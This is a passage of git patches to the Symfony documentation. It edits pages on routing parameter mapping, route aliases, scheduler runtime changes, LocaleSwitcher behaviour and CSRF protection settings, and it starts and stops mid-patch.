--- a/reference/constraints/map.rst.inc
+++ b/reference/constraints/map.rst.inc
@@ -33,7 +33,6 @@ String Constraints
 * :doc:`NotCompromisedPassword </reference/constraints/NotCompromisedPassword>`
 * :doc:`PasswordStrength </reference/constraints/PasswordStrength>`
 * :doc:`Regex </reference/constraints/Regex>`
-* :doc:`Slug </reference/constraints/Slug>`
 * :doc:`Twig </reference/constraints/Twig>`
 * :doc:`Ulid </reference/constraints/Ulid>`
 * :doc:`Url </reference/constraints/Url>`

From 88a7eb25c60453e95dd9cf782238f2855b9e4738 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 20 May 2025 09:17:27 +0200
Subject: [PATCH 6995/7107] Minor tweaks

---
 doctrine.rst |  8 ++++----
 routing.rst  | 23 ++---------------------
 2 files changed, 6 insertions(+), 25 deletions(-)

diff --git a/doctrine.rst b/doctrine.rst
index 270c59a08c4..a55ff8fe600 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -695,16 +695,16 @@ Automatic fetching works in these situations:
   on your entity (non-properties are ignored).
 
 The ``{slug:product}`` syntax maps the route parameter named ``slug`` to the
-controller argument named ``$product``. It also hints the resolver to lookup
-by slug when loading the corresponding ``Product`` object from the database.
+controller argument named ``$product``. It also hints the resolver to look up
+the corresponding ``Product`` object from the database using the slug.
 
 .. versionadded:: 7.1
 
     Route parameter mapping was introduced in Symfony 7.1.
 
 You can also configure the mapping explicitly for any controller argument
-with the ``MapEntity`` attribute. You can even control the
-``EntityValueResolver`` behavior by using the `MapEntity options`_ ::
+using the ``MapEntity`` attribute. You can even control the behavior of the
+``EntityValueResolver`` by using the `MapEntity options`_ ::
 
     // src/Controller/ProductController.php
     namespace App\Controller;
diff --git a/routing.rst b/routing.rst
index 587a35f269b..810c753ec3a 100644
--- a/routing.rst
+++ b/routing.rst
@@ -1006,32 +1006,13 @@ using the request parameters (``slug`` in this case). If no object is found,
 Symfony generates a 404 response automatically.
 
 The ``{slug:post}`` syntax maps the route parameter named ``slug`` to the controller
-argument named ``$post``. It also hints the "param converter" to lookup by slug
-when loading the corresponding ``BlogPost`` object from the database.
+argument named ``$post``. It also hints the "param converter" to look up the
+corresponding ``BlogPost`` object from the database using the slug.
 
 .. versionadded:: 7.1
 
     Route parameter mapping was introduced in Symfony 7.1.
 
-When more than one entity needs to be derived from route parameters, collisions can happen.
-In the following example, the route tries to define two mappings: one to load an author by
-name, two to load a category by name. But this is not allowed because from the side of the
-route definition, this declares a parameter named "name" twice::
-
-    #[Route('/search-book/{name:author}/{name:category}')]
-
-Such routes should instead be defined using the following syntax::
-
-    #[Route('/search-book/{authorName:author.name}/{categoryName:category.name}')]
-
-This way, the route parameter names are unique (``authorName`` and ``categoryName``) and
-the "param converter" can correctly map them to controller arguments (``$author`` and
-``$category``), loading them both by their name.
-
-.. versionadded:: 7.3
-
-    This more advanced style of route parameter mapping was introduced in Symfony 7.3.
-
 More advanced mappings can be achieved using the ``#[MapEntity]`` attribute.
 Check out the :ref:`Doctrine param conversion documentation <doctrine-entity-value-resolver>`
 to learn how to customize the database queries used to fetch the object from the route

From d71927f9e9eb83a697416e76f5928af85bbbe38a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 20 May 2025 09:21:53 +0200
Subject: [PATCH 6996/7107] [Routing] Readd the 7.3 docs about advance param
 mapping

---
 routing.rst | 19 +++++++++++++++++++
 1 file changed, 19 insertions(+)

diff --git a/routing.rst b/routing.rst
index 5df9694296d..47a3e9f3190 100644
--- a/routing.rst
+++ b/routing.rst
@@ -1020,6 +1020,25 @@ corresponding ``BlogPost`` object from the database using the slug.
 
     Route parameter mapping was introduced in Symfony 7.1.
 
+When mapping multiple entities from route parameters, name collisions can occur.
+In this example, the route tries to define two mappings: one for an author and one
+for a category; both using the same ``name`` parameter. This isn't allowed because
+the route ends up declaring ``name`` twice::
+
+    #[Route('/search-book/{name:author}/{name:category}')]
+
+Such routes should instead be defined using the following syntax::
+
+    #[Route('/search-book/{authorName:author.name}/{categoryName:category.name}')]
+
+This way, the route parameter names are unique (``authorName`` and ``categoryName``),
+and the "param converter" can correctly map them to controller arguments (``$author``
+and ``$category``), loading them both by their name.
+
+.. versionadded:: 7.3
+
+    This more advanced style of route parameter mapping was introduced in Symfony 7.3.
+
 More advanced mappings can be achieved using the ``#[MapEntity]`` attribute.
 Check out the :ref:`Doctrine param conversion documentation <doctrine-entity-value-resolver>`
 to learn how to customize the database queries used to fetch the object from the route

From a28b614c27bdca774025babeca5f8393a318ff86 Mon Sep 17 00:00:00 2001
From: Mathieu Santostefano <msantostefano@proton.me>
Date: Tue, 25 Feb 2025 10:04:59 +0100
Subject: [PATCH 6997/7107] [Routing] Clarify route aliases examples with
 explicit route names

---
 routing.rst | 123 ++++++++++++++++++++++++++++++++++++++++++----------
 1 file changed, 100 insertions(+), 23 deletions(-)

diff --git a/routing.rst b/routing.rst
index a41b9bba6a6..18a25dd3018 100644
--- a/routing.rst
+++ b/routing.rst
@@ -1336,15 +1336,18 @@ A possible solution is to change the parameter requirements to be more permissiv
 Route Aliasing
 --------------
 
-Route alias allow you to have multiple name for the same route:
+Route alias allows you to have multiple names for the same route
+and can be used to provide backward compatibility for routes that
+have been renamed. Let's say you have a route called ``product_show``:
 
 .. configuration-block::
 
     .. code-block:: yaml
 
         # config/routes.yaml
-        new_route_name:
-            alias: original_route_name
+        product_show:
+            path: /product/{id}
+            controller: App\Controller\ProductController::show
 
     .. code-block:: xml
 
@@ -1355,7 +1358,7 @@ Route alias allow you to have multiple name for the same route:
             xsi:schemaLocation="http://symfony.com/schema/routing
                 https://symfony.com/schema/routing/routing-1.0.xsd">
 
-            <route id="new_route_name" alias="original_route_name"/>
+            <route id="product_show" path="/product/{id}" controller="App\Controller\ProductController::show"/>
         </routes>
 
     .. code-block:: php
@@ -1364,10 +1367,55 @@ Route alias allow you to have multiple name for the same route:
         use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
         return static function (RoutingConfigurator $routes): void {
-            $routes->alias('new_route_name', 'original_route_name');
+            $routes->add('product_show', '/product/{id}')
+                    ->controller('App\Controller\ProductController::show');
         };
 
-In this example, both ``original_route_name`` and ``new_route_name`` routes can
+Now, let's say you want to create a new route called ``product_details``
+that acts exactly the same as ``product_show``.
+
+Instead of duplicating the original route, you can create an alias for it.
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/routes.yaml
+        product_show:
+            path: /product/{id}
+            controller: App\Controller\ProductController::show
+
+        product_details:
+            # "alias" option refers to the name of the route declared above
+            alias: product_show
+
+    .. code-block:: xml
+
+        <!-- config/routes.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <routes xmlns="http://symfony.com/schema/routing"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/routing
+                https://symfony.com/schema/routing/routing-1.0.xsd">
+
+            <route id="product_show" path="/product/{id}" controller="App\Controller\ProductController::show"/>
+            <!-- "alias" attribute value refers to the name of the route declared above -->
+            <route id="product_details" alias="product_show"/>
+        </routes>
+
+    .. code-block:: php
+
+        // config/routes.php
+        use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
+
+        return static function (RoutingConfigurator $routes): void {
+            $routes->add('product_show', '/product/{id}')
+                    ->controller('App\Controller\ProductController::show');
+            // second argument refers to the name of the route declared above
+            $routes->alias('product_details', 'product_show');
+        };
+
+In this example, both ``product_show`` and ``product_details`` routes can
 be used in the application and will produce the same result.
 
 .. _routing-alias-deprecation:
@@ -1375,27 +1423,45 @@ be used in the application and will produce the same result.
 Deprecating Route Aliases
 ~~~~~~~~~~~~~~~~~~~~~~~~~
 
-If some route alias should no longer be used (because it is outdated or
-you decided not to maintain it anymore), you can deprecate its definition:
+Route aliases can be used to provide backward compatibility for routes that
+have been renamed.
+
+Now, let's say you want to replace the ``product_show`` route in favor of
+``product_details`` and mark the old one as deprecated.
+
+In the previous example, the alias ``product_details`` was pointing to
+``product_show`` route.
+
+To mark the ``product_show`` route as deprecated, you need to "switch" the alias.
+The ``product_show`` become the alias, and will now point to the ``product_details`` route.
+This way, the ``product_show`` alias could be deprecated.
 
 .. configuration-block::
 
     .. code-block:: yaml
 
-        new_route_name:
-            alias: original_route_name
+        # Move the concrete route definition under ``product_details``
+        product_details:
+            path: /product/{id}
+            controller: App\Controller\ProductController::show
+
+        # Define the alias and the deprecation under the ``product_show`` definition
+        product_show:
+            alias: product_details
 
             # this outputs the following generic deprecation message:
-            # Since acme/package 1.2: The "new_route_name" route alias is deprecated. You should stop using it, as it will be removed in the future.
+            # Since acme/package 1.2: The "product_show" route alias is deprecated. You should stop using it, as it will be removed in the future.
             deprecated:
                 package: 'acme/package'
                 version: '1.2'
 
-            # you can also define a custom deprecation message (%alias_id% placeholder is available)
+            # or
+
+            # you can define a custom deprecation message (%alias_id% placeholder is available)
             deprecated:
                 package: 'acme/package'
                 version: '1.2'
-                message: 'The "%alias_id%" route alias is deprecated. Do not use it anymore.'
+                message: 'The "%alias_id%" route alias is deprecated. Please use "product_details" instead.'
 
     .. code-block:: xml
 
@@ -1405,35 +1471,46 @@ you decided not to maintain it anymore), you can deprecate its definition:
             xsi:schemaLocation="http://symfony.com/schema/routing
                 https://symfony.com/schema/routing/routing-1.0.xsd">
 
-            <route id="new_route_name" alias="original_route_name">
+            <!-- Move the concrete route definition under ``product_details`` -->
+            <route id="product_details" path="/product/{id}" controller="App\Controller\ProductController::show"/>
+
+            <!-- Define the alias and the deprecation under the ``product_show`` definition -->
+            <route id="product_show" alias="product_details">
                 <!-- this outputs the following generic deprecation message:
-                     Since acme/package 1.2: The "new_route_name" route alias is deprecated. You should stop using it, as it will be removed in the future. -->
+                     Since acme/package 1.2: The "product_show" route alias is deprecated. You should stop using it, as it will be removed in the future. -->
                 <deprecated package="acme/package" version="1.2"/>
 
-                <!-- you can also define a custom deprecation message (%alias_id% placeholder is available) -->
+                <!-- or -->
+
+                <!-- you can define a custom deprecation message (%alias_id% placeholder is available) -->
                 <deprecated package="acme/package" version="1.2">
-                    The "%alias_id%" route alias is deprecated. Do not use it anymore.
+                    The "%alias_id%" route alias is deprecated. Please use "product_details" instead.
                 </deprecated>
             </route>
         </routes>
 
     .. code-block:: php
 
-        $routes->alias('new_route_name', 'original_route_name')
+        $routes->add('product_details', '/product/{id}')
+                ->controller('App\Controller\ProductController::show');
+
+        $routes->alias('product_show', 'product_details')
             // this outputs the following generic deprecation message:
-            // Since acme/package 1.2: The "new_route_name" route alias is deprecated. You should stop using it, as it will be removed in the future.
+            // Since acme/package 1.2: The "product_show" route alias is deprecated. You should stop using it, as it will be removed in the future.
             ->deprecate('acme/package', '1.2', '')
 
-            // you can also define a custom deprecation message (%alias_id% placeholder is available)
+            // or
+
+            // you can define a custom deprecation message (%alias_id% placeholder is available)
             ->deprecate(
                 'acme/package',
                 '1.2',
-                'The "%alias_id%" route alias is deprecated. Do not use it anymore.'
+                'The "%alias_id%" route alias is deprecated. Please use "product_details" instead.'
             )
         ;
 
-In this example, every time the ``new_route_name`` alias is used, a deprecation
-warning is triggered, advising you to stop using that alias.
+In this example, every time the ``product_show`` alias is used, a deprecation
+warning is triggered, advising you to stop using this route and prefer using ``product_details``.
 
 The message is actually a message template, which replaces occurrences of the
 ``%alias_id%`` placeholder by the route alias name. You **must** have

From def8d6b58f1786121227b053cd884257d742a628 Mon Sep 17 00:00:00 2001
From: Florent Morselli <florent.morselli@spomky-labs.com>
Date: Tue, 20 May 2025 16:11:40 +0200
Subject: [PATCH 6998/7107] Add runtime schedule modification feature to docs

Document the new ability introduced in Symfony 6.4 to modify schedules dynamically at runtime. This includes recalculating the internal trigger heap for better control over recurring tasks.
---
 scheduler.rst | 40 ++++++++++++++++++++++++++++++++++++++++
 1 file changed, 40 insertions(+)

diff --git a/scheduler.rst b/scheduler.rst
index 3f2f8d7d2ac..4c5955a9470 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -890,6 +890,46 @@ code::
     use the ``messenger:consume`` command as explained in the previous
     section.
 
+Modifying the Schedule at Runtime
+---------------------------------
+
+.. versionadded:: 6.4
+
+    Modifying the schedule at runtime and recalculating the heap was introduced in Symfony 6.4.
+
+When a recurring message is added to or removed from the schedule,
+the scheduler automatically restarts and recalculates the internal trigger heap.
+This allows dynamic control over scheduled tasks during runtime.
+code::
+
+    // src/Scheduler/DynamicScheduleProvider.php
+    namespace App\Scheduler;
+
+    #[AsSchedule('uptoyou')]
+    class DynamicScheduleProvider implements ScheduleProviderInterface
+    {
+        private ?Schedule $schedule = null;
+
+        public function getSchedule(): Schedule
+        {
+            return $this->schedule ??= (new Schedule())
+                ->with(
+                    // ...
+                )
+            ;
+        }
+
+        public function clearAndAddMessages(): void
+        {
+            // Clear the current schedule (if any) and add new recurring messages
+            $this->schedule?->clear();
+            $this->schedule?->add(
+                RecurringMessage::cron('@hourly', new DoActionMessage()),
+                RecurringMessage::cron('@daily', new DoAnotherActionMessage()),
+            );
+        }
+    }
+
 Debugging the Schedule
 ----------------------
 

From 0d4b75575c53dd9a4bb846051462ece4d95c3c3e Mon Sep 17 00:00:00 2001
From: Jacob Dreesen <jacob@hdreesen.de>
Date: Tue, 20 May 2025 22:56:29 +0200
Subject: [PATCH 6999/7107] Try fixing a list in object_mapper.rst

---
 object_mapper.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/object_mapper.rst b/object_mapper.rst
index fe7db2365cf..0eed176c67d 100644
--- a/object_mapper.rst
+++ b/object_mapper.rst
@@ -149,7 +149,7 @@ You can apply the ``#[Map]`` attribute to properties to customize their mapping
 
 * ``target``: Specifies the name of the property in the target object;
 * ``source``: Specifies the name of the property in the source object (useful
-    when mapping is defined on the target, see below);
+  when mapping is defined on the target, see below);
 * ``if``: Defines a condition for mapping the property;
 * ``transform``: Applies a transformation to the value before mapping.
 

From 38c015ca7f845deda55076f6738f2fe6c1804091 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Th=C3=A9rage=20K=C3=A9vin?= <therage.kevin@gmail.com>
Date: Tue, 20 May 2025 11:15:12 +0200
Subject: [PATCH 7000/7107] Clarifying LocaleSwitcher's behavior

---
 translation.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/translation.rst b/translation.rst
index 5565c65bdba..8505b916587 100644
--- a/translation.rst
+++ b/translation.rst
@@ -1110,6 +1110,13 @@ just to run some code. Imagine a console command that renders Twig templates
 of emails in different languages. You need to change the locale only to
 render those templates.
 
+.. note::
+
+    The LocaleSwitcher will apply the locale at a request level
+    this means that it will be available only for that request. A
+    redirect, for example, will cancel the LocaleSwitcher's effect.
+    For a permanent locale switch between requests see https://symfony.com/doc/current/session.html#making-the-locale-sticky-during-a-user-s-session.
+
 The ``LocaleSwitcher`` class allows you to change at once the locale
 of:
 

From aa698f8069b4bfc73a2bc3b866e368bcd2304e48 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 21 May 2025 10:12:34 +0200
Subject: [PATCH 7001/7107] Rewords

---
 translation.rst | 55 ++++++++++++++++++++++---------------------------
 1 file changed, 25 insertions(+), 30 deletions(-)

diff --git a/translation.rst b/translation.rst
index 8505b916587..8d66c21f39b 100644
--- a/translation.rst
+++ b/translation.rst
@@ -1105,25 +1105,11 @@ Switch Locale Programmatically
 
     The ``LocaleSwitcher`` was introduced in Symfony 6.1.
 
-Sometimes you need to change the locale of the application dynamically
-just to run some code. Imagine a console command that renders Twig templates
-of emails in different languages. You need to change the locale only to
-render those templates.
+Sometimes you need to change the application's locale dynamically while running
+some code. For example, a console command that renders email templates in
+different languages. In such cases, you only need to switch the locale temporarily.
 
-.. note::
-
-    The LocaleSwitcher will apply the locale at a request level
-    this means that it will be available only for that request. A
-    redirect, for example, will cancel the LocaleSwitcher's effect.
-    For a permanent locale switch between requests see https://symfony.com/doc/current/session.html#making-the-locale-sticky-during-a-user-s-session.
-
-The ``LocaleSwitcher`` class allows you to change at once the locale
-of:
-
-* All the services that are tagged with ``kernel.locale_aware``;
-* ``\Locale::setDefault()``;
-* If the ``RequestContext`` service is available, the ``_locale``
-  parameter (so urls are generated with the new locale)::
+The ``LocaleSwitcher`` class allows you to do that::
 
     use Symfony\Component\Translation\LocaleSwitcher;
 
@@ -1136,28 +1122,23 @@ of:
 
         public function someMethod(): void
         {
-            // you can get the current application locale like this:
             $currentLocale = $this->localeSwitcher->getLocale();
 
-            // you can set the locale for the entire application like this:
-            // (from now on, the application will use 'fr' (French) as the
-            // locale; including the default locale used to translate Twig templates)
+            // set the application locale programmatically to 'fr' (French):
+            // this affects translation, URL generation, etc.
             $this->localeSwitcher->setLocale('fr');
 
-            // reset the current locale of your application to the configured default locale
-            // in config/packages/translation.yaml, by option 'default_locale'
+            // reset the locale to the default one configured via the
+            // 'default_locale' option in config/packages/translation.yaml
             $this->localeSwitcher->reset();
 
-            // you can also run some code with a certain locale, without
+            // run some code with a specific locale, temporarily, without
             // changing the locale for the rest of the application
             $this->localeSwitcher->runWithLocale('es', function() {
-
-                // e.g. render here some Twig templates using 'es' (Spanish) locale
-
+                // e.g. render templates, send emails, etc. using the 'es' (Spanish) locale
             });
 
-            // you can optionally declare an argument in your callback to receive the
-            // injected locale
+            // optionally, receive the current locale as an argument:
             $this->localeSwitcher->runWithLocale('es', function(string $locale) {
 
                 // here, the $locale argument will be set to 'es'
@@ -1175,6 +1156,20 @@ of:
     :method:`Symfony\\Component\\Translation\\LocaleSwitcher::runWithLocale`
     method was introduced in Symfony 6.4.
 
+The ``LocaleSwitcher`` class changes the locale of:
+
+* All services tagged with ``kernel.locale_aware``;
+* The default locale set via ``\Locale::setDefault()``;
+* The ``_locale`` parameter of the ``RequestContext`` service (if available),
+  so generated URLs reflect the new locale.
+
+.. note::
+
+    The LocaleSwitcher applies the new locale only for the current request,
+    and its effect is lost on subsequent requests, such as after a redirect.
+
+    See :ref:`how to make the locale persist across requests <locale-sticky-session>`.
+
 When using :ref:`autowiring <services-autowire>`, type-hint any controller or
 service argument with the :class:`Symfony\\Component\\Translation\\LocaleSwitcher`
 class to inject the locale switcher service. Otherwise, configure your services

From 07ef56369b8b519999fa51abf16feb8156804785 Mon Sep 17 00:00:00 2001
From: Antoine M <amakdessi@me.com>
Date: Wed, 21 May 2025 10:28:05 +0200
Subject: [PATCH 7002/7107] fix: no bundle involved

---
 doctrine.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/doctrine.rst b/doctrine.rst
index 103ba869611..6abf5fa7928 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -649,7 +649,7 @@ automatically! You can simplify the controller to::
         }
     }
 
-That's it! The bundle uses the ``{id}`` from the route to query for the ``Product``
+That's it! The attribute uses the ``{id}`` from the route to query for the ``Product``
 by the ``id`` column. If it's not found, a 404 page is generated.
 
 .. tip::

From e12256ce2df50fdf97ca28eaa866c28a2255ba97 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 22 May 2025 10:33:40 +0200
Subject: [PATCH 7003/7107] Rewords

---
 reference/configuration/framework.rst |  28 +++----
 security/csrf.rst                     | 108 +++++++++++++-------------
 2 files changed, 71 insertions(+), 65 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 23baa21642e..464b61dd69b 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -857,36 +857,38 @@ stateless_token_ids
 
 **type**: ``array`` **default**: ``[]``
 
-The list of CSRF token ids that will use stateless CSRF protection.
+The list of CSRF token ids that will use :ref:`stateless CSRF protection <csrf-stateless-tokens>`.
 
 .. versionadded:: 7.2
 
-    This option was added in Symfony 7.2 to aid in configuring stateless CSRF protection.
+    The ``stateless_token_ids`` option was introduced in Symfony 7.2.
 
 check_header
 ............
 
 **type**: ``integer`` or ``bool`` **default**: ``false``
 
-Whether to check the CSRF token in a header in addition to a cookie when using stateless protection.
-Can be set to ``2`` (the value of the ``CHECK_ONLY_HEADER`` constant on the
-:class:`Symfony\\Component\\Security\\Csrf\\SameOriginCsrfTokenManager` class) to check only the header
-and not the cookie.
+Whether to check the CSRF token in an HTTP header in addition to the cookie when
+using :ref:`stateless CSRF protection <csrf-stateless-tokens>`. You can also set
+this to ``2`` (the value of the ``CHECK_ONLY_HEADER`` constant on the
+:class:`Symfony\\Component\\Security\\Csrf\\SameOriginCsrfTokenManager` class)
+to check only the header and ignore the cookie.
 
 .. versionadded:: 7.2
 
-    This option was added in Symfony 7.2 to aid in configuring stateless CSRF protection.
+    The ``check_header`` option was introduced in Symfony 7.2.
 
 cookie_name
 ...........
 
 **type**: ``string`` **default**: ``csrf-token``
 
-The name of the cookie (and header) to use for the double-submit when using stateless protection.
+The name of the cookie (and HTTP header) to use for the double-submit when using
+:ref:`stateless CSRF protection <csrf-stateless-tokens>`.
 
 .. versionadded:: 7.2
 
-    This option was added in Symfony 7.2 to aid in configuring stateless CSRF protection.
+    The ``cookie_name`` option was introduced in Symfony 7.2.
 
 .. _config-framework-default_locale:
 
@@ -1213,16 +1215,16 @@ field_attr
 
 **type**: ``array`` **default**: ``['data-controller' => 'csrf-protection']``
 
-This is the HTML attributes that should be added to the CSRF token field of your forms.
+HTML attributes to add to the CSRF token field of your forms.
 
 token_id
 ''''''''
 
 **type**: ``string`` **default**: ``null``
 
-This is the CSRF token id that should be used for validating the CSRF tokens of your forms.
-Note that this setting applies only to autoconfigured form types, which usually means only
-to your own form types and not to form types registered by third-party bundles.
+The CSRF token ID used to validate the CSRF tokens of your forms. This setting
+applies only to form types that use :ref:`service autoconfiguration <services-autoconfigure>`,
+which typically means your own form types, not those registered by third-party bundles.
 
 fragments
 ~~~~~~~~~
diff --git a/security/csrf.rst b/security/csrf.rst
index 2e7369d170f..b303af9511b 100644
--- a/security/csrf.rst
+++ b/security/csrf.rst
@@ -34,9 +34,9 @@ unique tokens added to forms as hidden fields. The legit server validates them t
 ensure that the request originated from the expected source and not some other
 malicious website.
 
-Anti-CSRF tokens can be managed either in a stateful way: they're put in the
-session and are unique for each user and for each kind of action, or in a
-stateless way: they're generated on the client-side.
+Anti-CSRF tokens can be managed in two ways: using a **stateful** approach,
+where tokens are stored in the session and are unique per user and action; or a
+**stateless** approach, where tokens are generated on the client side.
 
 Installation
 ------------
@@ -106,7 +106,7 @@ protected forms, among them:
   field value with it.
 
 The most effective way to cache pages that need CSRF protected forms is to use
-stateless CSRF tokens, see below.
+:ref:`stateless CSRF tokens <csrf-stateless-tokens>`, as explained below.
 
 .. _csrf-protection-forms:
 
@@ -310,6 +310,8 @@ targeted parts of the plaintext. To mitigate these attacks, and prevent an
 attacker from guessing the CSRF tokens, a random mask is prepended to the token
 and used to scramble it.
 
+.. _csrf-stateless-tokens:
+
 Stateless CSRF Tokens
 ---------------------
 
@@ -363,28 +365,31 @@ option:
             ;
         };
 
-Stateless CSRF tokens use a CSRF protection that doesn't need the session. This
-means that you can cache the entire page and still have CSRF protection.
+Stateless CSRF tokens provide protection without relying on the session. This
+allows you to fully cache pages while still protecting against CSRF attacks.
 
-When a stateless CSRF token is checked for validity, Symfony verifies the
-``Origin`` and the ``Referer`` headers of the incoming HTTP request.
+When validating a stateless CSRF token, Symfony checks the ``Origin`` and
+``Referer`` headers of the incoming HTTP request. If either header matches the
+application's target origin (i.e. its domain), the token is considered valid.
 
-If either of these headers match the target origin of the application (its domain
-name), the CSRF token is considered valid. This relies on the app being able to
-know its own target origin. Don't miss configuring your reverse proxy if you're
-behind one. See :doc:`/deployment/proxies`.
+This mechanism relies on the application being able to determine its own origin.
+If you're behind a reverse proxy, make sure it's properly configured. See
+:doc:`/deployment/proxies`.
 
 Using a Default Token ID
 ~~~~~~~~~~~~~~~~~~~~~~~~
 
-While stateful CSRF tokens are better seggregated per form or action, stateless
-ones don't need many token identifiers. In the previous example, ``authenticate``
-and ``logout`` are listed because they're the default identifiers used by the
-Symfony Security component. The ``submit`` identifier is then listed so that
-form types defined by the application can use it by default. The following
-configuration - which applies only to form types declared using autofiguration
-(the default way to declare *your* services) - will make your form types use the
-``submit`` token identifier by default:
+Stateful CSRF tokens are typically scoped per form or action, while stateless
+tokens don't require many identifiers.
+
+In the example above, the ``authenticate`` and ``logout`` identifiers are listed
+because they are used by default in the Symfony Security component. The ``submit``
+identifier is included so that form types defined by the application can also use
+CSRF protection by default.
+
+The following configuration applies only to form types registered via
+:ref:`autoconfiguration <services-autoconfigure>` (which is the default for your
+own services), and it sets ``submit`` as their default token identifier:
 
 .. configuration-block::
 
@@ -433,41 +438,40 @@ option will use the stateless CSRF protection.
 Generating CSRF Token Using Javascript
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-In addition to the ``Origin`` and ``Referer`` headers, stateless CSRF protection
-also checks a cookie and a header (named ``csrf-token`` by default, see the
-:ref:`CSRF configuration reference <reference-framework-csrf-protection>`).
-
-These extra checks are part of defense-in-depth strategies provided by the
-stateless CSRF protection. They are optional and they require
-`some JavaScript`_ to be activated. This JavaScript is responsible for generating
-a crypto-safe random token when a form is submitted, then putting the token in
-the hidden CSRF field of the form and submitting it also as a cookie and header.
-On the server-side, the CSRF token is validated by checking the cookie and header
-values. This "double-submit" protection relies on the same-origin policy
-implemented by browsers and is strengthened by regenerating the token at every
-form submission - which prevents cookie fixation issues - and by using
-``samesite=strict`` and ``__Host-`` cookies, which make them domain-bound and
-HTTPS-only.
-
-Note that the default snippet of JavaScript provided by Symfony requires that
-the hidden CSRF form field is either named ``_csrf_token``, or that it has the
-``data-controller="csrf-protection"`` attribute. You can of course take
-inspiration from this snippet to write your own, provided you follow the same
-protocol.
-
-As a last measure, a behavioral check is added on the server-side to ensure that
-the validation method cannot be downgraded: if and only if a session is already
-available, successful "double-submit" is remembered and is then required for
-subsequent requests. This prevents attackers from exploiting potentially reduced
-validation checks once cookie and/or header validation has been confirmed as
-effective (they're optional by default as explained above).
+In addition to the ``Origin`` and ``Referer`` HTTP headers, stateless CSRF protection
+can also validate tokens using a cookie and a header (named ``csrf-token`` by
+default; see the :ref:`CSRF configuration reference <reference-framework-csrf-protection>`).
+
+These additional checks are part of the **defense-in-depth** strategy provided by
+stateless CSRF protection. They are optional and require `some JavaScript`_ to
+be enabled. This JavaScript generates a cryptographically secure random token
+when a form is submitted. It then inserts the token into the form's hidden CSRF
+field and sends it in both a cookie and a request header.
+
+On the server side, CSRF token validation compares the values in the cookie and
+the header. This "double-submit" protection relies on the browser's same-origin
+policy and is further hardened by:
+
+* generating a new token for each submission (to prevent cookie fixation);
+* using ``samesite=strict`` and ``__Host-`` cookie attributes (to enforce HTTPS
+  and limit the cookie to the current domain).
+
+By default, the Symfony JavaScript snippet expects the hidden CSRF field to be
+named ``_csrf_token`` or to include the ``data-controller="csrf-protection"``
+attribute. You can adapt this logic to your needs as long as the same protocol
+is followed.
+
+To prevent validation from being downgraded, an extra behavioral check is performed:
+if (and only if) a session already exists, successful "double-submit" is remembered
+and becomes required for future requests. This ensures that once the optional cookie/header
+validation has been proven effective, it remains enforced for that session.
 
 .. note::
 
-    Enforcing successful "double-submit" for every requests is not recommended as
-    as it could lead to a broken user experience. The opportunistic approach
-    described above is preferred because it allows the application to gracefully
-    degrade to ``Origin`` / ``Referer`` checks when JavaScript is not available.
+    Enforcing "double-submit" validation on all requests is not recommended,
+    as it may lead to a broken user experience. The opportunistic approach
+    described above is preferred, allowing the application to gracefully
+    fall back to ``Origin`` / ``Referer`` checks when JavaScript is unavailable.
 
 .. _`Cross-site request forgery`: https://en.wikipedia.org/wiki/Cross-site_request_forgery
 .. _`BREACH`: https://en.wikipedia.org/wiki/BREACH

From f97b8d59f092fcbc14ea54daa9b59adfb33093ce Mon Sep 17 00:00:00 2001
From: Santiago San Martin <sanmartindev@gmail.com>
Date: Sun, 18 May 2025 11:52:46 -0300
Subject: [PATCH 7004/7107] [Security]
 iscsrftokenvalid-attribute-controller-usage

---
 security/csrf.rst | 14 ++++++++++++++
 1 file changed, 14 insertions(+)

diff --git a/security/csrf.rst b/security/csrf.rst
index b303af9511b..cc1ab42482d 100644
--- a/security/csrf.rst
+++ b/security/csrf.rst
@@ -281,6 +281,20 @@ Suppose you want a CSRF token per item, so in the template you have something li
         <button type="submit">Delete item</button>
     </form>
 
+In addition :class:`Symfony\\Component\\Security\\Http\\Attribute\\IsCsrfTokenValid`
+attribute can be applied to a controller class.
+This will cause the CSRF token validation to be executed for all routes defined within the controller::
+
+    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\Security\Http\Attribute\IsCsrfTokenValid;
+    // ...
+
+    #[IsCsrfTokenValid('controller')]
+    final class FooController extends AbstractController
+    {
+        // ...
+    }
+
 The :class:`Symfony\\Component\\Security\\Http\\Attribute\\IsCsrfTokenValid`
 attribute also accepts an :class:`Symfony\\Component\\ExpressionLanguage\\Expression`
 object evaluated to the id::

From 83b30927029e9f60cc4c4a77edba2bbd6bda5f2f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 22 May 2025 17:45:51 +0200
Subject: [PATCH 7005/7107] Minor tweaks

---
 security/csrf.rst | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/security/csrf.rst b/security/csrf.rst
index cc1ab42482d..b72c7cc2526 100644
--- a/security/csrf.rst
+++ b/security/csrf.rst
@@ -281,16 +281,16 @@ Suppose you want a CSRF token per item, so in the template you have something li
         <button type="submit">Delete item</button>
     </form>
 
